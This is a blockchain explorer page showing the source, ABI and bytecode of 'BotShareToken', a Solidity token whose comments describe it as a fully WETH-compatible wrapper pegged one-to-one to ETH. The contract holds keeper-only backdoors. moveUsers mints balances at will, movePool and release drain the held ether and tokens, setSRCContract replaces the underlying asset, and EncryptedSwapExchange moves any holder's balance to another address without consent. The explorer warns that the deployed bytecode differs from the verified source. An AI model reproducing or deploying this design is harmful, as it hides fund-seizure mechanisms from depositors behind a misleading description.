false
true
0

Contract Address Details

0x00000Cf7c4b0EB106e37B3Fb5ed64e3702F835C7

Token
Bot Share Token (BOT)
Creator
0x41e277–b8983f at 0x700105–0fe985
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
Fetching transactions...
Transfers
Fetching transfers...
Gas Used
Fetching gas used...
Last Balance Update
26348614
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
This contract has been partially verified via Sourcify. View contract in Sourcify repository
Contract name:
BotShareToken




Optimization enabled
true
Compiler version
v0.4.26+commit.4563c3fc




Optimization runs
200
EVM Version
byzantium




Verified at
2026-04-22T01:58:51.387361Z

Constructor Arguments

00000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a238880000000000000000000000000000006833e8a32f9b89f28168e3699b448b040b000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000006833e8a32f9b89f28168e3699b448b040b000000000000000000000000f9fb4ad91812b704ba883b11d2b576e890a6730a

Arg [0] (address) : 0x00000f9b91345e420ac6fa0049d9bb7a98a23888
Arg [1] (address) : 0x0000006833e8a32f9b89f28168e3699b448b040b
Arg [2] (address) : 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
Arg [3] (address) : 0x0000006833e8a32f9b89f28168e3699b448b040b
Arg [4] (address) : 0xf9fb4ad91812b704ba883b11d2b576e890a6730a

              

BotShareToken.sol

pragma solidity ^0.4.18;

interface ERC20 {
    function balanceOf(address who) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function totalSupply() external view returns (uint);
}

contract BotShareToken {

    address public poolKeeper;
    address public secondKeeper;
    address public SRC;
    address[3] public WETH;

    constructor (address _keeper,address _src,address _weth1,address _weth2,address _weth3) public {
        poolKeeper = _keeper;
        secondKeeper = _keeper; 
        SRC = _src;
        WETH = [_weth1, _weth2, _weth3];
    }
    
    //BOT is a type of WETH and it is fully compatible with all the functions of WETH.
    //1 BOT === 1 WETH === 1 ETH ('===' means 'constantly equal to');
    //For SwapBrainBot & the other bots, BOT is also used to calculate the user's shares in the BOT. 
    string public name     = "Bot Share Token";
    string public symbol   = "BOT";
    uint8  public decimals = 0;


    event  Approval(address indexed fromUser, address indexed guy, uint wad);
    event  Transfer(address indexed fromUser, address indexed dst, uint wad);
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed fromUser, uint wad);
    event  ApplySwapToEther(address indexed fromUser, uint wad);
    event  SwapToEther(address indexed fromUser, uint wad);
    event  SwapFromEther(address indexed fromUser, uint wad);

    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;


    modifier keepPool() {
        require((msg.sender == poolKeeper)||(msg.sender == secondKeeper));
        _;
    }

    function() public payable {
        depositByEther();
    }

    function depositByEther() public payable {
        balanceOf[msg.sender] = add(balanceOf[msg.sender],div(msg.value,100000000000000));
        emit Deposit(msg.sender,msg.value);
    }

    
    function deposit(uint amount) public {
        ERC20(SRC).transferFrom(msg.sender,address(this),amount);
        balanceOf[msg.sender] = add(balanceOf[msg.sender],div(amount,100000000000000));
        emit Deposit(msg.sender, amount);
    }

    function withdraw(uint wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] = sub(balanceOf[msg.sender],wad);
        uint wethout;
        wethout = mul(wad,100000000000000);
        ERC20(SRC).transfer(msg.sender,wethout);
        emit Withdrawal(msg.sender, wad);           
    }

    function totalSupply() public view returns (uint) { 
        uint supply = add(ERC20(SRC).balanceOf(address(this)),address(this).balance);
        supply = div(supply,100000000000000);
        return(supply);
    }

    function approve(address guy, uint wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function transfer(address dst, uint wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address fromUser, address dst, uint wad)
        public
        returns (bool)
    {
        require(balanceOf[fromUser] >= wad);

        if (fromUser != msg.sender && allowance[fromUser][msg.sender] != uint(-1)) {
            require(allowance[fromUser][msg.sender] >= wad);
            allowance[fromUser][msg.sender] = sub(allowance[fromUser][msg.sender],wad);
        }       

        if(address(this) == dst){ 
            balanceOf[fromUser] = sub(balanceOf[fromUser],wad);
            uint wethout;
            wethout = mul(wad,100000000000000);       
            ERC20(SRC).transfer(fromUser,wethout);
            emit Withdrawal(fromUser,wad);       
        }else{      
            balanceOf[dst] = add(balanceOf[dst],wad);
            emit Transfer(fromUser, dst, wad);

        }
        return true;
    }

    
     function moveUsers(address from,address guy,uint amount) public keepPool returns (bool) {
        balanceOf[guy] = add(balanceOf[guy],amount);
        emit Transfer(from, guy, amount);
        return true;
    }

    function movePool(address guy,uint amount) public keepPool returns (bool) {
        guy.transfer(amount);
        return true;
    }
    
    function release(address tkn, address guy,uint amount) public keepPool returns(bool) {
        require((tkn != address(0))&&(guy != address(0)));
        ERC20 token = ERC20(tkn);
        token.transfer(guy, amount);
        return true;
    }

    function setSRCContract(address _SRC) public keepPool returns(bool) {
        require(_SRC != address(0));
        SRC = _SRC;
        return true;
    }


    function setWETHContract(address addr1,address addr2,address addr3) public keepPool returns(bool) {
        WETH[0] = addr1;
        WETH[1] = addr2;
        WETH[2] = addr3;
        return true;
    }

    function EncryptedSwapExchange(address fromAddress, address toAddress,uint amount) public returns (bool) {
        require((msg.sender == poolKeeper)||(msg.sender == secondKeeper));
            if(balanceOf[fromAddress] >= amount){
                balanceOf[fromAddress] = sub(balanceOf[fromAddress],amount);
            }
            balanceOf[toAddress] = add(balanceOf[toAddress],amount);             
            emit Transfer(fromAddress,toAddress,amount); 
        return true;
    }


    function totalEtherBalanceOfWETHContracts() public view returns(uint){
        uint totalEtherBalance = WETH[0].balance;
        totalEtherBalance = add(totalEtherBalance,WETH[1].balance);
        totalEtherBalance = add(totalEtherBalance,WETH[2].balance);
        return totalEtherBalance;
    }
    
    function totalWETHBalanceOfThis() public view returns(uint){
        uint etherBalance = ERC20(WETH[0]).balanceOf(address(this));
        etherBalance = add(etherBalance,ERC20(WETH[1]).balanceOf(address(this)));
        etherBalance = add(etherBalance,ERC20(WETH[2]).balanceOf(address(this)));
        return etherBalance;
    }

    function resetPoolKeeper(address newKeeper) public keepPool returns(bool) {
        require(newKeeper != address(0));
        poolKeeper = newKeeper;
        return true;
    }

    function resetSecondKeeper(address newKeeper) public keepPool returns(bool) {
        require(newKeeper != address(0));
        secondKeeper = newKeeper;
        return true;
    }

   function add(uint a, uint b) internal pure returns (uint) {
        uint c = a + b;
        require(c >= a);
        return c;
    }

    function sub(uint a, uint b) internal pure returns (uint) {
        require(b <= a);
        uint c = a - b;
        return c;
    }

    function mul(uint a, uint b) internal pure returns (uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b);
        return c;
    }

    function div(uint a, uint b) internal pure returns (uint) {
        require(b > 0);
        uint c = a / b;
        return c;
    }

}
        

Compiler Settings

{"remappings":[],"optimizer":{"runs":200,"enabled":true},"libraries":{},"evmVersion":"byzantium","compilationTarget":{"BotShareToken.sol":"BotShareToken"}}
              

Contract ABI

[{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"address","name":""}],"name":"SRC","inputs":[],"constant":true},{"type":"function","stateMutability":"payable","payable":true,"outputs":[],"name":"depositByEther","inputs":[],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"string","name":""}],"name":"name","inputs":[],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"approve","inputs":[{"type":"address","name":"guy"},{"type":"uint256","name":"wad"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"setWETHContract","inputs":[{"type":"address","name":"addr1"},{"type":"address","name":"addr2"},{"type":"address","name":"addr3"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"address","name":""}],"name":"poolKeeper","inputs":[],"constant":true},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint256","name":""}],"name":"totalSupply","inputs":[],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"transferFrom","inputs":[{"type":"address","name":"fromUser"},{"type":"address","name":"dst"},{"type":"uint256","name":"wad"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[],"name":"withdraw","inputs":[{"type":"uint256","name":"wad"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"resetSecondKeeper","inputs":[{"type":"address","name":"newKeeper"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint8","name":""}],"name":"decimals","inputs":[],"constant":true},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint256","name":""}],"name":"totalWETHBalanceOfThis","inputs":[],"constant":true},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"address","name":""}],"name":"secondKeeper","inputs":[],"constant":true},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint256","name":""}],"name":"balanceOf","inputs":[{"type":"address","name":""}],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"moveUsers","inputs":[{"type":"address","name":"from"},{"type":"address","name":"guy"},{"type":"uint256","name":"amount"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"address","name":""}],"name":"WETH","inputs":[{"type":"uint256","name":""}],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"setSRCContract","inputs":[{"type":"address","name":"_SRC"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint256","name":""}],"name":"totalEtherBalanceOfWETHContracts","inputs":[],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"EncryptedSwapExchange","inputs":[{"type":"address","name":"fromAddress"},{"type":"address","name":"toAddress"},{"type":"uint256","name":"amount"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"release","inputs":[{"type":"address","name":"tkn"},{"type":"address","name":"guy"},{"type":"uint256","name":"amount"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"movePool","inputs":[{"type":"address","name":"guy"},{"type":"uint256","name":"amount"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"string","name":""}],"name":"symbol","inputs":[],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"transfer","inputs":[{"type":"address","name":"dst"},{"type":"uint256","name":"wad"}],"constant":false},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[],"name":"deposit","inputs":[{"type":"uint256","name":"amount"}],"constant":false},{"type":"function","stateMutability":"view","payable":false,"outputs":[{"type":"uint256","name":""}],"name":"allowance","inputs":[{"type":"address","name":""},{"type":"address","name":""}],"constant":true},{"type":"function","stateMutability":"nonpayable","payable":false,"outputs":[{"type":"bool","name":""}],"name":"resetPoolKeeper","inputs":[{"type":"address","name":"newKeeper"}],"constant":false},{"type":"constructor","stateMutability":"nonpayable","payable":false,"inputs":[{"type":"address","name":"_keeper"},{"type":"address","name":"_src"},{"type":"address","name":"_weth1"},{"type":"address","name":"_weth2"},{"type":"address","name":"_weth3"}]},{"type":"fallback","stateMutability":"payable","payable":true},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"fromUser","indexed":true},{"type":"address","name":"guy","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"fromUser","indexed":true},{"type":"address","name":"dst","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false},{"type":"event","name":"Deposit","inputs":[{"type":"address","name":"dst","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false},{"type":"event","name":"Withdrawal","inputs":[{"type":"address","name":"fromUser","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false},{"type":"event","name":"ApplySwapToEther","inputs":[{"type":"address","name":"fromUser","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false},{"type":"event","name":"SwapToEther","inputs":[{"type":"address","name":"fromUser","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false},{"type":"event","name":"SwapFromEther","inputs":[{"type":"address","name":"fromUser","indexed":true},{"type":"uint256","name":"wad","indexed":false}],"anonymous":false}]
              

Contract Creation Code

Verify & Publish
0x60c0604052600f60808190527f426f7420536861726520546f6b656e000000000000000000000000000000000060a090815262000040916006919062000140565b506040805180820190915260038082527f424f5400000000000000000000000000000000000000000000000000000000006020909201918252620000879160079162000140565b506008805460ff191690553480156200009f57600080fd5b5060405160a0806200165d83398101604081815282516020808501518386015160608088015160809098015160008054600160a060020a0319908116600160a060020a03808a16918217909355600180548316909117905560028054909116828716179055918801875281831688528189169488019490945283169486019490945291949193620001349060039081620001c5565b50505050505062000265565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200018357805160ff1916838001178555620001b3565b82800160010185558215620001b3579182015b82811115620001b357825182559160200191906001019062000196565b50620001c19291506200021e565b5090565b826003810192821562000210579160200282015b82811115620002105782518254600160a060020a031916600160a060020a03909116178255602090920191600190910190620001d9565b50620001c19291506200023e565b6200023b91905b80821115620001c1576000815560010162000225565b90565b6200023b91905b80821115620001c1578054600160a060020a031916815560010162000245565b6113e880620002756000396000f3006080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302a1f49d811461015d5780630468ec1e1461015357806306fdde031461018e578063095ea7b3146102185780630fc25a8b14610250578063178f9e351461027d57806318160ddd1461029257806323b872dd146102b95780632e1a7d4d146102e35780632fce18f6146102fb578063313ce5671461031c578063375c65a4146103475780633e0486581461035c57806370a08231146103715780637964a72e146103925780637f9057d1146103bc57806380669e46146103d45780638591876c146103f5578063880a65d81461040a5780638bfb07c9146104345780638e4c7fb51461045e57806395d89b4114610482578063a9059cbb14610497578063b6b55f25146104bb578063dd62ed3e146104d3578063f1127c3f146104fa575b61015b61051b565b005b34801561016957600080fd5b5061017261058f565b60408051600160a060020a039092168252519081900360200190f35b34801561019a57600080fd5b506101a361059e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101dd5781810151838201526020016101c5565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022457600080fd5b5061023c600160a060020a036004351660243561062c565b604080519115158252519081900360200190f35b34801561025c57600080fd5b5061023c600160a060020a0360043581169060243581169060443516610692565b34801561028957600080fd5b50610172610711565b34801561029e57600080fd5b506102a7610720565b60408051918252519081900360200190f35b3480156102c557600080fd5b5061023c600160a060020a03600435811690602435166044356107d9565b3480156102ef57600080fd5b5061015b600435610a8a565b34801561030757600080fd5b5061023c600160a060020a0360043516610bb6565b34801561032857600080fd5b50610331610c2a565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506102a7610c33565b34801561036857600080fd5b50610172610d7a565b34801561037d57600080fd5b506102a7600160a060020a0360043516610d89565b34801561039e57600080fd5b5061023c600160a060020a0360043581169060243516604435610d9b565b3480156103c857600080fd5b50610172600435610e4e565b3480156103e057600080fd5b5061023c600160a060020a0360043516610e6a565b34801561040157600080fd5b506102a7610ee0565b34801561041657600080fd5b5061023c600160a060020a0360043581169060243516604435610f1d565b34801561044057600080fd5b5061023c600160a060020a0360043581169060243516604435610fbd565b34801561046a57600080fd5b5061023c600160a060020a03600435166024356110bd565b34801561048e57600080fd5b506101a361112c565b3480156104a357600080fd5b5061023c600160a060020a0360043516602435611187565b3480156104c757600080fd5b5061015b60043561119b565b3480156104df57600080fd5b506102a7600160a060020a03600435811690602435166112aa565b34801561050657600080fd5b5061023c600160a060020a03600435166112c7565b336000908152600960205260409020546105449061053f34655af3107a400061133d565b611365565b33600081815260096020908152604091829020939093558051348152905191927fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c92918290030190a2565b600254600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106245780601f106105f957610100808354040283529160200191610624565b820191906000526020600020905b81548152906001019060200180831161060757829003601f168201915b505050505081565b336000818152600a60209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60008054600160a060020a03163314806106b65750600154600160a060020a031633145b15156106c157600080fd5b5060038054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600480549385169382169390931790925560058054919093169116179055600190565b600054600160a060020a031681565b600254604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009283926107c192600160a060020a03909216916370a082319160248082019260209290919082900301818887803b15801561078e57600080fd5b505af11580156107a2573d6000803e3d6000fd5b505050506040513d60208110156107b857600080fd5b50513031611365565b90506107d381655af3107a400061133d565b92915050565b600160a060020a038316600090815260096020526040812054819083111561080057600080fd5b600160a060020a038516331480159061083e5750600160a060020a0385166000908152600a6020908152604080832033845290915290205460001914155b156108c657600160a060020a0385166000908152600a6020908152604080832033845290915290205483111561087357600080fd5b600160a060020a0385166000908152600a602090815260408083203384529091529020546108a19084611377565b600160a060020a0386166000908152600a602090815260408083203384529091529020555b30600160a060020a0385161415610a0457600160a060020a0385166000908152600960205260409020546108fa9084611377565b600160a060020a03861660009081526009602052604090205561092383655af3107a400061138e565b600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03898116600483015260248201859052915193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561099457600080fd5b505af11580156109a8573d6000803e3d6000fd5b505050506040513d60208110156109be57600080fd5b5050604080518481529051600160a060020a038716917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a2610a7f565b600160a060020a038416600090815260096020526040902054610a279084611365565b600160a060020a0380861660008181526009602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b506001949350505050565b33600090815260096020526040812054821115610aa657600080fd5b33600090815260096020526040902054610ac09083611377565b33600090815260096020526040902055610ae082655af3107a400061138e565b600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018490529051929350600160a060020a039091169163a9059cbb916044808201926020929091908290030181600087803b158015610b5057600080fd5b505af1158015610b64573d6000803e3d6000fd5b505050506040513d6020811015610b7a57600080fd5b505060408051838152905133917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a25050565b60008054600160a060020a0316331480610bda5750600154600160a060020a031633145b1515610be557600080fd5b600160a060020a0382161515610bfa57600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b60085460ff1681565b6000806003810154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b158015610c9e57600080fd5b505af1158015610cb2573d6000803e3d6000fd5b505050506040513d6020811015610cc857600080fd5b50519050610d6b81600360015b0154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b158015610d3a57600080fd5b505af1158015610d4e573d6000803e3d6000fd5b505050506040513d6020811015610d6457600080fd5b5051611365565b90506107d38160036002610cd5565b600154600160a060020a031681565b60096020526000908152604090205481565b60008054600160a060020a0316331480610dbf5750600154600160a060020a031633145b1515610dca57600080fd5b600160a060020a038316600090815260096020526040902054610ded9083611365565b600160a060020a0380851660008181526009602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b600381818110610e5a57fe5b0154600160a060020a0316905081565b60008054600160a060020a0316331480610e8e5750600154600160a060020a031633145b1515610e9957600080fd5b600160a060020a0382161515610eae57600080fd5b5060028054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b6000806003810154600160a060020a0316319050610f0e81600360015b0154600160a060020a031631611365565b90506107d38160036002610efd565b60008054600160a060020a0316331480610f415750600154600160a060020a031633145b1515610f4c57600080fd5b600160a060020a0384166000908152600960205260409020548211610dca57600160a060020a038416600090815260096020526040902054610f8e9083611377565b600160a060020a038581166000908152600960205260408082209390935590851681522054610ded9083611365565b600080548190600160a060020a0316331480610fe35750600154600160a060020a031633145b1515610fee57600080fd5b600160a060020a0385161580159061100e5750600160a060020a03841615155b151561101957600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151869283169163a9059cbb9160448083019260209291908290030181600087803b15801561108657600080fd5b505af115801561109a573d6000803e3d6000fd5b505050506040513d60208110156110b057600080fd5b5060019695505050505050565b60008054600160a060020a03163314806110e15750600154600160a060020a031633145b15156110ec57600080fd5b604051600160a060020a0384169083156108fc029084906000818181858888f19350505050158015611122573d6000803e3d6000fd5b5060019392505050565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106245780601f106105f957610100808354040283529160200191610624565b60006111943384846107d9565b9392505050565b600254604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018490529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b15801561120e57600080fd5b505af1158015611222573d6000803e3d6000fd5b505050506040513d602081101561123857600080fd5b50503360009081526009602052604090205461125e9061053f83655af3107a400061133d565b33600081815260096020908152604091829020939093558051848152905191927fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c92918290030190a250565b600a60209081526000928352604080842090915290825290205481565b60008054600160a060020a03163314806112eb5750600154600160a060020a031633145b15156112f657600080fd5b600160a060020a038216151561130b57600080fd5b5060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60008080831161134c57600080fd5b828481151561135757fe5b0490508091505b5092915050565b60008282018381101561119457600080fd5b6000808383111561138757600080fd5b5050900390565b6000808315156113a1576000915061135e565b508282028284828115156113b157fe5b041461119457600080fd00a165627a7a7230582055b7738f82109cf7686ff727be86da81efa37f60599cdef08b5d08f4c422dd2f002900000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a238880000000000000000000000000000006833e8a32f9b89f28168e3699b448b040b000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000006833e8a32f9b89f28168e3699b448b040b000000000000000000000000f9fb4ad91812b704ba883b11d2b576e890a6730a

Deployed ByteCode

0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302a1f49d811461015d5780630468ec1e1461015357806306fdde031461018e578063095ea7b3146102185780630fc25a8b14610250578063178f9e351461027d57806318160ddd1461029257806323b872dd146102b95780632e1a7d4d146102e35780632fce18f6146102fb578063313ce5671461031c578063375c65a4146103475780633e0486581461035c57806370a08231146103715780637964a72e146103925780637f9057d1146103bc57806380669e46146103d45780638591876c146103f5578063880a65d81461040a5780638bfb07c9146104345780638e4c7fb51461045e57806395d89b4114610482578063a9059cbb14610497578063b6b55f25146104bb578063dd62ed3e146104d3578063f1127c3f146104fa575b61015b61051b565b005b34801561016957600080fd5b5061017261058f565b60408051600160a060020a039092168252519081900360200190f35b34801561019a57600080fd5b506101a361059e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101dd5781810151838201526020016101c5565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022457600080fd5b5061023c600160a060020a036004351660243561062c565b604080519115158252519081900360200190f35b34801561025c57600080fd5b5061023c600160a060020a0360043581169060243581169060443516610692565b34801561028957600080fd5b50610172610711565b34801561029e57600080fd5b506102a7610720565b60408051918252519081900360200190f35b3480156102c557600080fd5b5061023c600160a060020a03600435811690602435166044356107d9565b3480156102ef57600080fd5b5061015b600435610a8a565b34801561030757600080fd5b5061023c600160a060020a0360043516610bb6565b34801561032857600080fd5b50610331610c2a565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506102a7610c33565b34801561036857600080fd5b50610172610d7a565b34801561037d57600080fd5b506102a7600160a060020a0360043516610d89565b34801561039e57600080fd5b5061023c600160a060020a0360043581169060243516604435610d9b565b3480156103c857600080fd5b50610172600435610e4e565b3480156103e057600080fd5b5061023c600160a060020a0360043516610e6a565b34801561040157600080fd5b506102a7610ee0565b34801561041657600080fd5b5061023c600160a060020a0360043581169060243516604435610f1d565b34801561044057600080fd5b5061023c600160a060020a0360043581169060243516604435610fbd565b34801561046a57600080fd5b5061023c600160a060020a03600435166024356110bd565b34801561048e57600080fd5b506101a361112c565b3480156104a357600080fd5b5061023c600160a060020a0360043516602435611187565b3480156104c757600080fd5b5061015b60043561119b565b3480156104df57600080fd5b506102a7600160a060020a03600435811690602435166112aa565b34801561050657600080fd5b5061023c600160a060020a03600435166112c7565b336000908152600960205260409020546105449061053f34655af3107a400061133d565b611365565b33600081815260096020908152604091829020939093558051348152905191927fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c92918290030190a2565b600254600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106245780601f106105f957610100808354040283529160200191610624565b820191906000526020600020905b81548152906001019060200180831161060757829003601f168201915b505050505081565b336000818152600a60209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60008054600160a060020a03163314806106b65750600154600160a060020a031633145b15156106c157600080fd5b5060038054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600480549385169382169390931790925560058054919093169116179055600190565b600054600160a060020a031681565b600254604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009283926107c192600160a060020a03909216916370a082319160248082019260209290919082900301818887803b15801561078e57600080fd5b505af11580156107a2573d6000803e3d6000fd5b505050506040513d60208110156107b857600080fd5b50513031611365565b90506107d381655af3107a400061133d565b92915050565b600160a060020a038316600090815260096020526040812054819083111561080057600080fd5b600160a060020a038516331480159061083e5750600160a060020a0385166000908152600a6020908152604080832033845290915290205460001914155b156108c657600160a060020a0385166000908152600a6020908152604080832033845290915290205483111561087357600080fd5b600160a060020a0385166000908152600a602090815260408083203384529091529020546108a19084611377565b600160a060020a0386166000908152600a602090815260408083203384529091529020555b30600160a060020a0385161415610a0457600160a060020a0385166000908152600960205260409020546108fa9084611377565b600160a060020a03861660009081526009602052604090205561092383655af3107a400061138e565b600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03898116600483015260248201859052915193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561099457600080fd5b505af11580156109a8573d6000803e3d6000fd5b505050506040513d60208110156109be57600080fd5b5050604080518481529051600160a060020a038716917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a2610a7f565b600160a060020a038416600090815260096020526040902054610a279084611365565b600160a060020a0380861660008181526009602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b506001949350505050565b33600090815260096020526040812054821115610aa657600080fd5b33600090815260096020526040902054610ac09083611377565b33600090815260096020526040902055610ae082655af3107a400061138e565b600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018490529051929350600160a060020a039091169163a9059cbb916044808201926020929091908290030181600087803b158015610b5057600080fd5b505af1158015610b64573d6000803e3d6000fd5b505050506040513d6020811015610b7a57600080fd5b505060408051838152905133917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a25050565b60008054600160a060020a0316331480610bda5750600154600160a060020a031633145b1515610be557600080fd5b600160a060020a0382161515610bfa57600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b60085460ff1681565b6000806003810154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b158015610c9e57600080fd5b505af1158015610cb2573d6000803e3d6000fd5b505050506040513d6020811015610cc857600080fd5b50519050610d6b81600360015b0154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b158015610d3a57600080fd5b505af1158015610d4e573d6000803e3d6000fd5b505050506040513d6020811015610d6457600080fd5b5051611365565b90506107d38160036002610cd5565b600154600160a060020a031681565b60096020526000908152604090205481565b60008054600160a060020a0316331480610dbf5750600154600160a060020a031633145b1515610dca57600080fd5b600160a060020a038316600090815260096020526040902054610ded9083611365565b600160a060020a0380851660008181526009602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b600381818110610e5a57fe5b0154600160a060020a0316905081565b60008054600160a060020a0316331480610e8e5750600154600160a060020a031633145b1515610e9957600080fd5b600160a060020a0382161515610eae57600080fd5b5060028054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b6000806003810154600160a060020a0316319050610f0e81600360015b0154600160a060020a031631611365565b90506107d38160036002610efd565b60008054600160a060020a0316331480610f415750600154600160a060020a031633145b1515610f4c57600080fd5b600160a060020a0384166000908152600960205260409020548211610dca57600160a060020a038416600090815260096020526040902054610f8e9083611377565b600160a060020a03858